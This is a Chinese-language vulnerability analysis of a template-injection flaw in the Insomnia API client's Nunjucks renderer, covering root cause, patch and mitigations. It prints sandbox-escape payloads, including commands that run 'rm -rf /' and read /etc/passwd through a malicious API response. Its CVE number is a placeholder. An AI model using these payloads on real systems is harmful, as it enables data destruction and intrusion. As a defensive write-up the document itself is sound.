
1. 簡介
Insomnia API Client(版本 v2023.5.8)是一款廣受歡迎的開源 API 開發與測試工具。其回應 Rendering engine 中發現了一個嚴重的伺服器端模板注入(Server-Side Template Injection, SSTI)漏洞(CVE-2025-XXXXX),可導致遠端程式碼執行(RCE)。本報告詳細分析了該漏洞的運作機制、根本原因及攻擊方式,特別聚焦於未受保護的 Nunjucks 模板引擎整合。

2. 漏洞概述
受影響組件 :回應檢視器(負責 HTTP Response 可視化)。
根本原因
:未經清理的使用者控制資料傳遞至 Nunjucks 的
render()
函數。
影響
:透過 Node.js
child_process
模組存取,在客戶端系統上執行任意 JavaScript。
攻擊途徑 :包含嵌入式 Nunjucks 指令的惡意 API 回應。
3. 技術深入分析
3.1. 模板注入機制
當 Insomnia 處理包含 HTML/XML 的 API 回應時,會觸發此漏洞。回應檢視器(Response viewer)使用 JavaScript 模板引擎 Nunjucks 動態繪製內容。來自 API 回應的使用者提供資料未經環境感知清理(Context-aware sanitization),直接插入至 Nunjucks 模板中。
程式碼流程分析
- // 簡化的漏洞程式碼(Insomnia 的繪制器)
- const template = `{% extends "base.html" %}{% block content %}${userData}{% endblock %}`;
- const rendered = nunjucks.renderString(template, env);
此處,
userData
是未經的回應內容。
Nunjucks 沙箱繞過
Nunjucks 預設沙箱缺乏內在安全性。攻擊者可注入如
{{ 7*7 }}
的指令以確認 SSTI。概念驗證(PoC)利用
constructor
屬性存取 Node.js 全域物件:
{{ "".constructor.constructor("return process")() }}
這會回傳 Node.js 的
process
物件,確認 RCE 能力。
RCE Payload 執行
攻擊者串聯 Nunjucks 指令以生成系統 Shell:
{% set proc = "".constructor.constructor("return process")() %} {{ proc.mainModule.require("child_process").exec("rm -rf /") }}
child_process
模組允許執行任意命令。
3.2. 關鍵程式碼片段
漏洞源自
insomnia-app/app/ui/components/templating/index.js
:
// 有漏洞的 Nunjucks 繪制函數 function renderResponse(content, environment) { const env = nunjucks.configure({ autoescape: false }); // 禁用轉義 return env.renderString(content, environment); // 不安全的內容注入 }
主要問題:
-
autoescape: false
禁用 HTML 編碼。 -
在繪制前未對
content
進行驗證。
4. 攻擊場景
4.1. 攻擊流程
-
攻擊者託管一個回傳惡意 JSON Payload 的 API:
{ "data": "{{ \"\".constructor.constructor(\"return process.mainModule.require('child_process').execSync('cat /etc/passwd')\")() }}" }
- 受害者透過 Insomnia 查詢該 API。
-
Insomnia 渲染回應,在受害者機器上執行
cat /etc/passwd
。
4.2. 影響放大
- 跨平台影響 :命令透過 Node.js 原生執行(Windows/macOS/Linux)。
- 持續性風險 :攻擊者可部署 反向 Shell 或鍵盤記錄器。
5. 修補分析
修補程式(已於 Insomnia v2023.6.0 合併)包含:
-
環境輸出編碼
:
nunjucks.configure({ autoescape: true }); // 啟用自動轉義
- 內容清理 :使用者資料在模板插入前進行 HTML 編碼。
- 沙箱強化 :透過自訂 Nunjucks 環境限制對 Node.js 內建功能的存取。
6. 安全建議
-
輸入驗證
:使用如
DOMPurify
的函式庫清理所有動態內容。 - 最小權限原則 :在受限使用者環境中運行 Insomnia。
-
模板引擎最佳實務
:
-
避免對不受信任的輸入使用
renderString()
。 - 使用類似 Jinja2 的沙箱,並明確設定白名單。
-
避免對不受信任的輸入使用
7. 結論
此 SSTI 漏洞突顯了模板引擎設定不當的風險。Insomnia 回應檢視器缺乏輸入清理與沙箱保護,使 RCE 變得輕而易舉。開發者必須優先考慮環境感知編碼並隔離第三方繪制引擎。CVE-2025-XXXXX 提醒我們,即使是開發工具在處理外部資料時也可能成為攻擊途徑。